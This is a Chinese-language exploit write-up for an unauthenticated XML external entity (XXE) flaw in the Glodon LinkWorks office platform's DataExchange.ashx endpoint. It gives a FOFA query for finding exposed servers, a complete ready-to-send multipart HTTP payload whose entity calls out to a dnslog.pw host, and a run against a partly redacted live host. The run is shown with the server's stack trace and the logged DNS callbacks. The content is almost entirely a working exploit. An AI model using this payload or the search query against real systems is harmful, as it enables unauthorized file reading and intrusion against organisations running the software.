G3-2广联达-Linkworks协同办公管理平台-XXE

漏洞描述：

广联达 LinkWorks /GB/LK/Document/DataExchange/DataExchange.ashx接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

漏洞复现：

payload：

```
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
   <!ENTITY t SYSTEM "http://dnslog.pw">
   ]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
```

效果图:
Dnslog验证

Request

数据包扫描 热加载 构造请求

```
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: [redacted]8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY t SYSTEM "http://ceshi.rsv7mmgy.dnslog.pw">
```

Responses 579bytes / 1276ms

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 08 Jan 2024 13:04:59 GMT
Connection: close
Content-Length: 579

意外的 DTD 声明。 第 1 行，位置 3。
   在 System.Xml.XmlTextReaderImpl.Throw(E
   在 System.Xml.XmlTextReaderImpl.ParseEl
   在 System.Xml.XmlLoader.LoadEntityRefer
   在 System.Xml.XmlLoader.LoadNode(Boolea
   在 System.Xml.XmlLoader.LoadDocSequence
   在 System.Xml.XmlDocument.Load(XmlReade
   在 System.Xml.XmlDocument.LoadXml(Strin
   在 GB.LK.Document.WebSite.GB.LK.Documen
   (HttpContext context)
```

DNSLog WebLog API Rebind Payloads rsv7mmgy 退出

删除成功

域名 搜索 子域名: rsv7mmgy.dnslog.pw 监视刷新

ID	域名	Type	IP	位置	时间	操作
26338453	[redacted]pw	A	21[redacted]90		2024-01-08 21:05:00	删除
26338449	[redacted]mmgy.dn[redacted]g.pw	A	[redacted]12[redacted]		2024-01-08 21:04:59	删除
26338448	[redacted]g.pw	A	[redacted]		2024-01-08 21:04:59	删除
26338447	[redacted]	A	[redacted]		2024-01-08 21:04:59	删除
26338446	[redacted].pw	A	[redacted]		2024-01-08 21:04:59	删除
26338445	[redacted]w	A	219.[redacted].90		2024-01-08 21:04:59	删除
[redacted]	[redacted]	[redacted]	[redacted]		[redacted]	[redacted]